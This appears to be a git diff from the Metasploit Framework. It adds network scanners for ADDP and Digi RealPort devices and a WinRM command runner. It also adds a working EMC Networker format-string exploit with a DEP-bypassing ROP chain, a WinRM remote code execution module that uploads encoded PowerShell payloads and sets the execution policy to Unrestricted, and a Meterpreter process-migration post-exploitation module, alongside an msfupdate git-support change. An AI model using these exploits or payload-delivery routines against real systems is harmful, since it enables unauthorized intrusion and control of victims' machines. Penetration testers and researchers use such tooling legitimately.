||||
|
||||
@results = {}
|
||||
begin
|
||||
udp_sock = nil
|
||||
idx = 0
|
||||
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
|
||||
add_socket(udp_sock)
|
||||
|
||||
batch.each do |ip|
|
||||
begin
|
||||
|
||||
# Try all currently-known magic probe values
|
||||
Rex::Proto::ADDP.request_config_all.each do |pkt|
|
||||
begin
|
||||
udp_sock.sendto(pkt, ip, rport, 0)
|
||||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
retry
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError
|
||||
end
|
||||
|
||||
if (idx % 30 == 0)
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
idx += 1
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 3) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def parse_reply(pkt)
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
addr = pkt[1]
|
||||
if(addr =~ /^::ffff:/)
|
||||
addr = addr.sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
@results[addr] ||= {}
|
||||
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
|
||||
|
||||
return unless @results[addr][:magic] and @results[addr][:mac]
|
||||
|
||||
inf = Rex::Proto::ADDP.reply_to_string(@results[addr])
|
||||
|
||||
if inside_workspace_boundary?(addr)
|
||||
report_service(
|
||||
:host => addr,
|
||||
:mac => @results[addr][:mac],
|
||||
:port => pkt[2],
|
||||
:proto => 'udp',
|
||||
:name => 'addp',
|
||||
:info => inf
|
||||
)
|
||||
end
|
||||
print_status("#{addr}:#{pkt[2]} #{inf}")
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::RealPort
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Digi RealPort Serial Server Port Scanner',
|
||||
'Description' => 'Identify active ports on RealPort-enabled serial servers.',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.digi.com/pdf/fs_realport.pdf'],
|
||||
['URL', 'http://www.digi.com/support/productdetail?pid=2229&type=drivers']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new("BANNER_TIMEOUT", [true, "How long to capture data from the serial port", 5]),
|
||||
OptString.new('BAUD_RATES', [true, "A space delimited list of baud rates to try for each port", "9600 115200"]),
|
||||
OptString.new('PORTS', [true, "A space delimited list of 1-indexed serial port numbers to try, default is all supported", "ALL"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
test_speeds = datastore['BAUD_RATES'].split(/\s+/)
|
||||
test_speeds.each do |baud|
|
||||
valid = realport_baud_to_speed(baud)
|
||||
if not valid
|
||||
raise RuntimeError, "The baud rate #{baud} is not supported"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
test_ports = datastore['PORTS'].upcase.split(/\s+/)
|
||||
test_speeds = datastore['BAUD_RATES'].split(/\s+/)
|
||||
|
||||
return unless realport_connect
|
||||
|
||||
info = "#{@realport_name} ( ports: #{@realport_port_count} )"
|
||||
vprint_status("#{target_host}:#{rport} is running #{info}")
|
||||
report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
|
||||
|
||||
1.upto(@realport_port_count) do |pnum|
|
||||
unless test_ports.include?('ALL') or test_ports.include?(pnum.to_s)
|
||||
# Skip this port
|
||||
next
|
||||
end
|
||||
|
||||
test_speeds.each do |baud|
|
||||
ret = realport_open(pnum - 1, baud)
|
||||
break unless ret == :open
|
||||
res = realport_recv_banner(pnum - 1, datastore['BANNER_TIMEOUT'])
|
||||
if res and res.length > 0
|
||||
print_status("#{target_host}:#{rport} [port #{pnum} @ #{baud}bps] #{res.inspect}")
|
||||
report_note(
|
||||
:host => target_host,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => "realport.port#{pnum}.banner",
|
||||
:data => {:baud => baud, :banner => res},
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
end
|
||||
realport_close(pnum - 1)
|
||||
end
|
||||
end
|
||||
|
||||
realport_disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,45 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::RealPort
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Digi RealPort Serial Server Version',
|
||||
'Description' => 'Detect serial servers that speak the RealPort protocol.',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.digi.com/pdf/fs_realport.pdf'],
|
||||
['URL', 'http://www.digi.com/support/productdetail?pid=2229&type=drivers']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
if realport_connect
|
||||
info = "#{@realport_name} ( ports: #{@realport_port_count} )"
|
||||
print_status("#{target_host}:#{rport} #{info}")
|
||||
report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
|
||||
end
|
||||
realport_disconnect
|
||||
end
|
||||
end
|
|
@ -0,0 +1,63 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::WinRM
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'WinRM Command Runner',
|
||||
'Description' => %q{
|
||||
This module runs arbitrary Windows commands using the WinRM Service
|
||||
},
|
||||
'Author' => [ 'thelightcosine' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The windows command to run", "ipconfig /all" ]),
|
||||
OptString.new('USERNAME', [ true, "The username to authenticate as"]),
|
||||
OptString.new('PASSWORD', [ true, "The password to authenticate with"]),
|
||||
OptBool.new('SAVE_OUTPUT', [true, "Store output as loot", false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
|
||||
return
|
||||
end
|
||||
streams = winrm_run_cmd(datastore['CMD'])
|
||||
return unless streams.class == Hash
|
||||
print_error streams['stderr'] unless streams['stderr'] == ''
|
||||
print_good streams['stdout']
|
||||
if datastore['SAVE_OUTPUT']
|
||||
path = store_loot("winrm.cmd_results", "text/plain", ip, streams['stdout'], "winrm_cmd_results.txt", "WinRM CMD Results")
|
||||
print_status "Results saved to #{path}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module attempts to authenticate to a WinRM service. It currently
|
||||
works only if the remote end allows Negotiate(NTLM) authentication.
|
||||
Kerberos is not currently supported. Please note: in order to use this
|
||||
module, the 'AllowUnencrypted' winrm option must be set.
|
||||
module without SSL, the 'AllowUnencrypted' winrm option must be set.
|
||||
Otherwise adjust the port and set the SSL options in the module as appropriate.
|
||||
},
|
||||
'Author' => [ 'thelightcosine' ],
|
||||
'References' =>
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::SunRPC
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'EMC Networker Format String',
|
||||
'Description' => %q{
|
||||
This module exploits a format string vulnerability in the lg_sprintf function
|
||||
as implemented in liblocal.dll on EMC Networker products. This module exploits the
|
||||
vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
|
||||
version 0x02, and procedure 0x06. This module has been tested successfully on EMC
|
||||
Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Aaron Portnoy', # Vulnerability Discovery and analysis
|
||||
'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-2288' ],
|
||||
[ 'OSVDB', '85116' ],
|
||||
[ 'BID', '55330' ],
|
||||
[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
|
||||
[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x0d\x0a\x25\x2a",
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['EMC Networker 7.6 SP3 / Windows Universal',
|
||||
{
|
||||
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
|
||||
'Offset' => 156,
|
||||
'DEP' => true
|
||||
}
|
||||
],
|
||||
['EMC Networker 7.6 SP3 / Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
|
||||
'Offset' => 156,
|
||||
'DEP' => false
|
||||
}
|
||||
],
|
||||
['EMC Networker 7.6 SP3 / Windows 2003 SP2',
|
||||
{
|
||||
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
|
||||
'Offset' => 156,
|
||||
'DEP' => true
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Aug 29 2012'))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
begin
|
||||
if (not sunrpc_create('tcp', 0x5F3DD, 2))
|
||||
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
|
||||
end
|
||||
|
||||
fs = "%n" * target['Offset']
|
||||
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
|
||||
if target['DEP']
|
||||
rop_gadgets =
|
||||
[
|
||||
# rop chain generated with mona.py
|
||||
# The RopDb mixin isn't used because there are badchars
|
||||
# which must be avoided
|
||||
0x7c354dab, # POP EBP # RETN [MSVCR71.dll]
|
||||
0x7c354dab, # skip 4 bytes [MSVCR71.dll]
|
||||
0x7c37678f, # POP EAX # RETN [MSVCR71.dll]
|
||||
0xfffffdff, # Value to negate, will become 0x00000201
|
||||
0x7c34d749, # NEG EAX # RETN [MSVCR71.dll]
|
||||
0x7c362688, # POP EBX # RETN [MSVCR71.dll]
|
||||
0xffffffff, #
|
||||
0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll]
|
||||
0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
|
||||
0x7c34592b, # POP EDX # RETN [MSVCR71.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll]
|
||||
0x7c37765f, # POP ECX # RETN [MSVCR71.dll]
|
||||
0x7c38ecfe, # &Writable location [MSVCR71.dll]
|
||||
0x7c34a490, # POP EDI # RETN [MSVCR71.dll]
|
||||
0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll]
|
||||
0x7c364612, # POP ESI # RETN [MSVCR71.dll]
|
||||
0x7c3415a2, # JMP [EAX] [MSVCR71.dll]
|
||||
0x7c344cc1, # POP EAX # RETN [MSVCR71.dll]
|
||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
|
||||
0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll]
|
||||
].pack("V*")
|
||||
fs << rop_gadgets
|
||||
end
|
||||
fs << payload.encoded
|
||||
|
||||
xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
|
||||
sunrpc_call(6, xdr)
|
||||
sunrpc_destroy
|
||||
|
||||
rescue Rex::Proto::SunRPC::RPCTimeout
|
||||
print_error('RPCTimeout')
|
||||
rescue EOFError
|
||||
print_error('EOFError')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,239 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::WinRM
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WinRM VBS Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module uses valid credentials to login to the WinRM service
|
||||
and execute a payload. It has two available methods for payload
|
||||
delivery: Powershell 2.0 and VBS CmdStager.
|
||||
|
||||
The module will check if Powershell 2.0 is available, and if so uses
|
||||
that method. Otherwise it falls back to the VBS Cmdstager which is
|
||||
less stealthy.
|
||||
|
||||
IMPORTANT: If targeting an x64 system with the Powershell method
|
||||
you MUST select an x64 payload. An x86 payload will never return.
|
||||
},
|
||||
'Author' => [ 'thelightcosine' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 30,
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 01 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
|
||||
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
unless accepts_ntlm_auth
|
||||
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
unless check == Msf::Exploit::CheckCode::Vulnerable
|
||||
return
|
||||
end
|
||||
if powershell2?
|
||||
return unless correct_payload_arch?
|
||||
path = upload_script
|
||||
return if path.nil?
|
||||
exec_script(path)
|
||||
else
|
||||
execute_cmdstager
|
||||
end
|
||||
handler
|
||||
end
|
||||
|
||||
def execute_command(cmd,opts)
|
||||
commands = cmd.split(/&/)
|
||||
commands.each do |command|
|
||||
if command.include? "cscript"
|
||||
streams = winrm_run_cmd_hanging(command)
|
||||
print_status streams.inspect
|
||||
elsif command.include? "del %TEMP%"
|
||||
next
|
||||
else
|
||||
winrm_run_cmd(command)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def upload_script
|
||||
tdir = temp_dir
|
||||
return if tdir.nil?
|
||||
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
|
||||
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
|
||||
|
||||
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
|
||||
#add a sleep to the script to give us enoguh time to establish a session
|
||||
script << "\n Start-Sleep -s 600"
|
||||
script.each_line do |psline|
|
||||
#build our psh command to write out our psh script, meta eh?
|
||||
script_line = "Add-Content #{path} '#{psline.chomp}' "
|
||||
cmd = encoded_psh(script_line)
|
||||
streams = winrm_run_cmd(cmd)
|
||||
end
|
||||
return path
|
||||
end
|
||||
|
||||
def exec_script(path)
|
||||
print_status "Attempting to execute script..."
|
||||
cmd = "powershell -File #{path}"
|
||||
winrm_run_cmd_hanging(cmd)
|
||||
end
|
||||
|
||||
def encoded_psh(script)
|
||||
script = script.chars.to_a.join("\x00").chomp
|
||||
script << "\x00" unless script[-1].eql? "\x00"
|
||||
script = Rex::Text.encode_base64(script).chomp
|
||||
cmd = "powershell -encodedCommand #{script}"
|
||||
end
|
||||
|
||||
def temp_dir
|
||||
print_status "Grabbing %TEMP%"
|
||||
resp,c = send_request_ntlm(winrm_open_shell_msg)
|
||||
if resp.nil?
|
||||
print_error "Got no reply from the server"
|
||||
return nil
|
||||
end
|
||||
unless resp.code == 200
|
||||
print_error "Got unexpected response: \n #{resp.to_s}"
|
||||
return nil
|
||||
end
|
||||
shell_id = winrm_get_shell_id(resp)
|
||||
cmd = "echo %TEMP%"
|
||||
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
|
||||
cmd_id = winrm_get_cmd_id(resp)
|
||||
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
|
||||
streams = winrm_get_cmd_streams(resp)
|
||||
return streams['stdout'].chomp
|
||||
end
|
||||
|
||||
def check_remote_arch
|
||||
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
|
||||
resp,c = send_request_ntlm(winrm_wql_msg(wql))
|
||||
#Default to x86 if we can't be sure
|
||||
return "x86" if resp.nil? or resp.code != 200
|
||||
resp_tbl = parse_wql_response(resp)
|
||||
addr_width = resp_tbl.rows.flatten[0]
|
||||
if addr_width == "64"
|
||||
return "x64"
|
||||
else
|
||||
return "x86"
|
||||
end
|
||||
end
|
||||
|
||||
def correct_payload_arch?
|
||||
target_arch = check_remote_arch
|
||||
case target_arch
|
||||
when "x64"
|
||||
unless datastore['PAYLOAD'].include? "x64"
|
||||
print_error "You selected an x86 payload for an x64 target!"
|
||||
return false
|
||||
end
|
||||
when "x86"
|
||||
if datastore['PAYLOAD'].include? "x64"
|
||||
print_error "you selected an x64 payload for an x86 target"
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
def powershell2?
|
||||
if datastore['FORCE_VBS']
|
||||
print_status "User selected the FORCE_VBS option"
|
||||
return false
|
||||
end
|
||||
print_status "checking for Powershell 2.0"
|
||||
streams = winrm_run_cmd("powershell Get-Host")
|
||||
if streams == 401
|
||||
print_error "Login failed!"
|
||||
return false
|
||||
end
|
||||
unless streams.class == Hash
|
||||
print_error "Recieved error while running check"
|
||||
return false
|
||||
end
|
||||
if streams['stderr'].include? "not recognized"
|
||||
print_error "Powershell is not installed"
|
||||
return false
|
||||
end
|
||||
streams['stdout'].each_line do |line|
|
||||
next unless line.start_with? "Version"
|
||||
major_version = line.match(/\d(?=\.)/)[0]
|
||||
if major_version == "1"
|
||||
print_error "The target is running an older version of powershell"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
print_status "Attempting to set Execution Policy"
|
||||
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
|
||||
if streams == 401
|
||||
print_error "Login failed!"
|
||||
return false
|
||||
end
|
||||
unless streams.class == Hash
|
||||
print_error "Recieved error while running check"
|
||||
return false
|
||||
end
|
||||
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
|
||||
if streams['stdout'].include? 'Unrestricted'
|
||||
print_good "Set Execution Policy Successfully"
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,73 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Process Migration',
|
||||
'Description' => %q{ This module will migrate a Meterpreter session.
|
||||
It will first attempt to migrate to winlogon.exe . If that fails it will
|
||||
then look at all of the explorer.exe processes. If there is one that exists
|
||||
for the user context the session is already in it will try that. Failing that it will fall back
|
||||
and try any other explorer.exe processes it finds},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'thelightcosine'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
server = client.sys.process.open
|
||||
original_pid = server.pid
|
||||
print_status("Current server process: #{server.name} (#{server.pid})")
|
||||
|
||||
uid = client.sys.config.getuid
|
||||
|
||||
processes = client.sys.process.get_processes
|
||||
|
||||
uid_explorer_procs = []
|
||||
explorer_procs = []
|
||||
winlogon_procs = []
|
||||
processes.each do |proc|
|
||||
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
|
||||
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
|
||||
winlogon_procs << proc if proc['name'] == "winlogon.exe"
|
||||
end
|
||||
|
||||
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
|
||||
|
||||
print_error "Was unable to sucessfully migrate into any of our likely candidates"
|
||||
end
|
||||
|
||||
|
||||
def attempt_migration(target_pid)
|
||||
begin
|
||||
print_good("Migrating to #{target_pid}")
|
||||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to process #{}")
|
||||
return true
|
||||
rescue ::Exception => e
|
||||
print_error("Could not migrate in to process.")
|
||||
print_error(e)
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
75
msfupdate
75
msfupdate
|
@ -9,12 +9,14 @@ while File.symlink?(msfbase)
|
|||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
@msfbase_dir = File.dirname(msfbase)
|
||||
|
||||
@args = ARGV.dup
|
||||
|
||||
# May be changed
|
||||
@configdir = File.expand_path(File.join(File.dirname(msfbase), "data", "svn"))
|
||||
|
||||
Dir.chdir(File.dirname(msfbase))
|
||||
Dir.chdir(@msfbase_dir)
|
||||
|
||||
$stderr.puts "[*]"
|
||||
$stderr.puts "[*] Attempting to update the Metasploit Framework..."
|
||||
|
@ -26,6 +28,24 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?)
|
|||
$stderr.puts "Please run msfupdate as the same user who installed metasploit."
|
||||
end
|
||||
|
||||
|
||||
def is_git
|
||||
File.directory?(File.join(@msfbase_dir, ".git"))
|
||||
end
|
||||
|
||||
def is_svn
|
||||
File.directory?(File.join(@msfbase_dir, ".svn"))
|
||||
end
|
||||
|
||||
def print_deprecation_warning
|
||||
$stdout.puts "[*] Deprecation Note: The next version of Metasploit will"
|
||||
$stdout.puts "[*] update over the git protocol, which requires outbound"
|
||||
$stdout.puts "[*] access to github.com:9418/TCP."
|
||||
$stdout.puts "[*] Please adjust your egress firewall rules accordingly."
|
||||
end
|
||||
|
||||
# Some of these args are meaningful for SVN, some for Git,
|
||||
# some for both. Fun times.
|
||||
@args.each_with_index do |arg,i|
|
||||
case arg
|
||||
# Handle the old wait/nowait argument behavior
|
||||
|
@ -39,15 +59,27 @@ end
|
|||
when /--config-dir=(.*)?/
|
||||
# Spaces in the directory should be fine since this whole thing is passed
|
||||
# as a single argument via the multi-arg syntax for system() below.
|
||||
# TODO: Test this spaces business. I don't buy it. -todb
|
||||
@configdir = $1
|
||||
@configdir_index = i
|
||||
when /--git-remote=([^\s]*)?/
|
||||
@git_remote = $1
|
||||
@git_remote_index = i
|
||||
when /--git-branch=([^\s]*)?/
|
||||
@git_branch = $1
|
||||
@git_branch_index = i
|
||||
end
|
||||
end
|
||||
|
||||
@args[@wait_index] = nil if @wait_index
|
||||
@args[@configdir_index] = nil if @configdir_index
|
||||
|
||||
@args[@git_remote_index] = nil if @git_remote_index
|
||||
@args[@git_branch_index] = nil if @git_branch_index
|
||||
@args = @args.compact
|
||||
|
||||
####### Since we're SVN, do it all this way #######
|
||||
if is_svn
|
||||
print_deprecation_warning
|
||||
@args.push("--config-dir=#{@configdir}")
|
||||
@args.push("--non-interactive")
|
||||
|
||||
|
@ -58,10 +90,49 @@ if res.nil?
|
|||
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
|
||||
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
|
||||
$stderr.puts "[-] to ensure a proper environment."
|
||||
exit 1
|
||||
else
|
||||
# Cleanup worked, go ahead and update
|
||||
system("svn", "update", *@args)
|
||||
end
|
||||
end
|
||||
|
||||
####### Since we're Git, do it all that way #######
|
||||
if is_git
|
||||
remote = @git_remote || "origin"
|
||||
branch = @git_branch || "master"
|
||||
# This will save local changes in a stash, but won't
|
||||
# attempt to reapply them. If the user wants them back
|
||||
# they can always git stash pop them, and that presumes
|
||||
# they know what they're doing when they're editing local
|
||||
# checkout, which presumes they're not using msfupdate
|
||||
# to begin with.
|
||||
#
|
||||
# Note, this requires at least user.name and user.email
|
||||
# to be configured in the global git config. Installers should
|
||||
# take care that this is done. TODO: Enforce this in msfupdate
|
||||
res = system("git", "stash")
|
||||
if res.nil?
|
||||
$stderr.puts "[-] ERROR: Failed to run git"
|
||||
$stderr.puts ""
|
||||
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
|
||||
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
|
||||
$stderr.puts "[-] to ensure a proper environment."
|
||||
exit 1
|
||||
else
|
||||
$stdout.puts "[*] Stashed local changes (if any) to avoid merge conflicts."
|
||||
$stdout.puts "[*] Run 'git stash pop' to reapply local changes."
|
||||
end
|
||||
|
||||
system("git", "reset", "HEAD", "--hard")
|
||||
system("git", "checkout", branch)
|
||||
system("git", "fetch")
|
||||
system("git", "merge", "#{remote}/#{branch}")
|
||||
end
|
||||
|
||||
unless is_svn || is_git
|
||||
raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'"
|
||||
end
|
||||
|
||||
if @actually_wait
|
||||
$stderr.puts ""
|
||||
|
|
Loading…
Reference in New Issue